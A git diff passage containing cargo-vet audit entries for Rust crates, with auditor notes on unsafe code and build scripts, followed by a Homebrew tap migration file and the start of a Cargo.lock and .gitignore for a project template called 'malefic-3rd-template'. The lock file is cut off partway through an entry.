"https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.half]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-run" +delta = "1.8.2 -> 2.2.1" +notes = """ +All new uses of unsafe are either just accessing bit representations, or plausibly reasonable uses of intrinsics. I have not checked safety +requirements on the latter. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.hashbrown]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.14.2 -> 0.14.5" +notes = "I did not thoroughly check the safety argument for fold_impl, but it at least seems to be well documented." +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.hermit-abi]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.3 -> 0.3.9" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.inferno]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-run" +delta = "0.11.17 -> 0.11.19" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.inout]] +who = "Daira Hopwood " +criteria = "safe-to-deploy" +version = "0.1.3" +notes = "Reviewed in full." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.js-sys]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.3.60 -> 0.3.61" +notes = """ +- Adds `i64` variants of existing `Atomics` methods, which I checked them against. +- Adds `Array.length` setter and `Intl.RelativeTimeFormat`; I checked these against their + MDN documentation. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.js-sys]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.3.61 -> 0.3.64" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.js-sys]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.3.64 -> 0.3.66" +notes = """ +- Fixes the `BigInt64Array` variants of the existing `Atomics.wait` method. +- Adds `Atomics.waitAsync`, the `DataView` constructor variant that takes + `SharedArrayBuffer`, and `WebAssembly.Exception`; I checked these against their + MDN documentation. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.js-sys]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.66 -> 0.3.69" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.libm]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.2.7 -> 0.2.8" +notes = "Forces some intermediate values to not have too much precision on the x87 FPU." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.libredox]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.0.1 -> 0.1.3" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.memchr]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "2.6.3 -> 2.6.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.memchr]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "2.6.4 -> 2.7.1" +notes = """ +Change to an `unsafe fn` is to rework the short-tail handling of a fixed-length +comparison between `u8` pointers. The new tail code matches the existing head +code (but adapted to `u16` and `u8` reads, instead of `u32`). +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.memchr]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "2.7.1 -> 2.7.2" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.memchr]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "2.7.2 -> 2.7.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.memmap2]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.9.3 -> 0.9.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.nix]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.26.1 -> 0.26.2" +notes = "Fixes `SockaddrIn6` endianness bug." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.nix]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.26.2 -> 0.26.4" +notes = """ +Most of the `unsafe` changes are cleaning up their usage: +- Replacing `data.len() * std::mem::size_of::<$ty>()` with `std::mem::size_of_val(data)`. +- Removing some `mem::transmute`s. +- Using `*mut` instead of `*const` to convey intended semantics. + +A new unsafe trait method `SockaddrLike::set_length` is added; it's impls look fine. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.oorandom]] +who = "Jack Grigg " +criteria = "safe-to-run" +delta = "11.1.3 -> 11.1.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.opaque-debug]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.0 -> 0.3.1" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.parking_lot]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.12.2 -> 0.12.3" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.pin-project-internal]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.1.3 -> 1.1.5" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.pin-project-lite]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.2.13 -> 0.2.14" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.pkg-config]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.29 -> 0.3.30" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.rand_xorshift]] +who = "Sean Bowe " +criteria = "safe-to-deploy" +version = "0.3.0" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.9.5 -> 1.10.2" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.10.2 -> 1.10.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.10.4 -> 1.10.5" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-automata]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.3.8 -> 0.4.3" +notes = """ +There were additions to an `unsafe` trait, but the new code itself doesn't use +any `unsafe` functions. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-automata]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.4.3 -> 0.4.6" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-automata]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.4.6 -> 0.4.7" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-syntax]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.7.2 -> 0.7.5" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-syntax]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.7.5 -> 0.8.2" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-syntax]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.8.2 -> 0.8.3" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-syntax]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.8.3 -> 0.8.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.rustc_version]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +version = "0.4.0" +notes = """ +Most of the crate is code to parse and validate the output of `rustc -vV`. The caller can +choose which `rustc` to use, or can use `rustc_version::{version, version_meta}` which will +try `$RUSTC` followed by `rustc`. + +If an adversary can arbitrarily set the `$RUSTC` environment variable then this crate will +execute arbitrary code. But when this crate is used within a build script, `$RUSTC` should +be set correctly by `cargo`. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.rustc_version]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.4.0 -> 0.4.1" +notes = "Changes to `Command` usage are to add support for `RUSTC_WRAPPER`." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.ryu]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.15 -> 1.0.16" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.ryu]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.16 -> 1.0.17" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.ryu]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-run" +delta = "1.0.17 -> 1.0.18" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.semver]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.17 -> 1.0.18" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.semver]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.18 -> 1.0.19" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.semver]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.19 -> 1.0.20" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.semver]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.20 -> 1.0.22" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.semver]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.22 -> 1.0.23" +notes = """ +`build.rs` change is to enable checking for expected `#[cfg]` names if compiling +with Rust 1.80 or later. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.serde_json]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.108 -> 1.0.110" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.serde_json]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.110 -> 1.0.116" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.signature]] +who = "Daira Emma Hopwood " +criteria = "safe-to-deploy" +version = "2.1.0" +notes = """ +This crate uses `#![forbid(unsafe_code)]`, has no build script, and only provides traits with some trivial default implementations. +I did not review whether implementing these APIs would present any undocumented cryptographic hazards. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.signature]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "2.1.0 -> 2.2.0" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.smallvec]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.11.1 -> 1.13.2" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.43 -> 1.0.48" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.48 -> 1.0.51" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.51 -> 1.0.52" +notes = "Reruns the build script if the `RUSTC_BOOTSTRAP` env variable changes." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.52 -> 1.0.56" +notes = """ +Build script changes are to refactor the existing probe into a separate file +(which removes a filesystem write), and adjust how it gets rerun in response to +changes in the build environment. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.56 -> 1.0.58" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.58 -> 1.0.60" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.60 -> 1.0.61" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.61 -> 1.0.63" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.43 -> 1.0.48" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.48 -> 1.0.51" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.51 -> 1.0.52" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.52 -> 1.0.56" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.56 -> 1.0.58" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.58 -> 1.0.60" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.60 -> 1.0.61" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.61 -> 1.0.63" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.time-core]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.1.0 -> 0.1.1" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.toml_datetime]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +version = "0.5.1" +notes = "Crate has `#![forbid(unsafe_code)]`, no `unwrap / expect / panic`, no ambient capabilities." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.toml_datetime]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.5.1 -> 0.6.1" +notes = "Fixes a bug in parsing negative minutes in datetime string offsets." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.toml_datetime]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.6.2 -> 0.6.3" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.typenum]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.16.0 -> 1.17.0" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.universal-hash]] +who = "Daira Hopwood " +criteria = "safe-to-deploy" +delta = "0.4.1 -> 0.5.0" +notes = "I checked correctness of to_blocks which uses unsafe code in a safe function." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-backend]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.2.88 -> 0.2.89" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-backend]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.2.89 -> 0.2.92" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-macro]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.2.87 -> 0.2.89" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-macro]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.2.89 -> 0.2.92" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-macro-support]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +version = "0.2.92" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-shared]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.2.83 -> 0.2.84" +notes = "Bumps the schema version to add `linked_modules`." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-shared]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.2.84 -> 0.2.87" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-shared]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.2.87 -> 0.2.89" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-shared]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.2.89 -> 0.2.92" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.web-sys]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.65 -> 0.3.66" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.web-sys]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.66 -> 0.3.69" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.which]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "4.3.0 -> 4.4.0" +notes = "New APIs are remixes of existing code." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.which]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "4.4.0 -> 4.4.2" +notes = """ +Crate now has `#![forbid(unsafe_code)]`, replacing its last `unsafe` block with a +dependency on the `rustix` crate. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.zeroize_derive]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.3.2 -> 1.3.3" +notes = "Removes `T: Drop` bound from `impl Drop for SomeType`. I agree it was unnecessary." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.zeroize_derive]] +who = "Sean Bowe " +criteria = "safe-to-deploy" +delta = "1.3.3 -> 1.4.1" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.zeroize_derive]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.4.1 -> 1.4.2" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" diff --git a/lib/rage/tap_migrations.json b/lib/rage/tap_migrations.json new file mode 100644 index 0000000..0e35e56 --- /dev/null +++ b/lib/rage/tap_migrations.json @@ -0,0 +1,3 @@ +{ + "rage": "homebrew/core" +} \ No newline at end of file diff --git a/malefic-3rd-template/.gitignore b/malefic-3rd-template/.gitignore new file mode 100644 index 0000000..52a264c --- /dev/null +++ b/malefic-3rd-template/.gitignore @@ -0,0 +1,3 @@ +/target +/.idea +/malefic-3rd-go/src/go/hackbrowser/*.exe diff --git a/malefic-3rd-template/Cargo.lock b/malefic-3rd-template/Cargo.lock new file mode 100644 index 0000000..51bb346 --- /dev/null +++ b/malefic-3rd-template/Cargo.lock @@ -0,0 +1,1130 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aho-corasick" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" +dependencies = [ + "memchr", +] + +[[package]] +name = "allocator-api2" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" + +[[package]] +name = "anyhow" +version = "1.0.98" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487" + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "bitflags" +version = "2.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967" + +[[package]] +name = "bytes" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" + +[[package]] +name = "cc" +version = "1.2.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2352e5597e9c544d5e6d9c95190d5d27738ade584fa8db0a16e130e5c2b5296e" +dependencies = [ + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268" + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "const-random" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87e00182fe74b066627d63b85fd550ac2998d4b0bd86bfed477a0ae4c7c71359" +dependencies = [ + "const-random-macro", +] + +[[package]] +name = "const-random-macro" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9d839f2a20b0aee515dc581a6172f2321f96cab76c1a38a4c584a194955390e" +dependencies = [ + "getrandom 0.2.16", + "once_cell", + "tiny-keccak", +] + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad" +dependencies = [ + "libc", + "windows-sys 0.60.2", +] + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "fixedbitset" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d674e81391d1e1ab681a28d99df07927c6d4aa5b027d7da16ba32d1d21ecd99" + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "futures" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 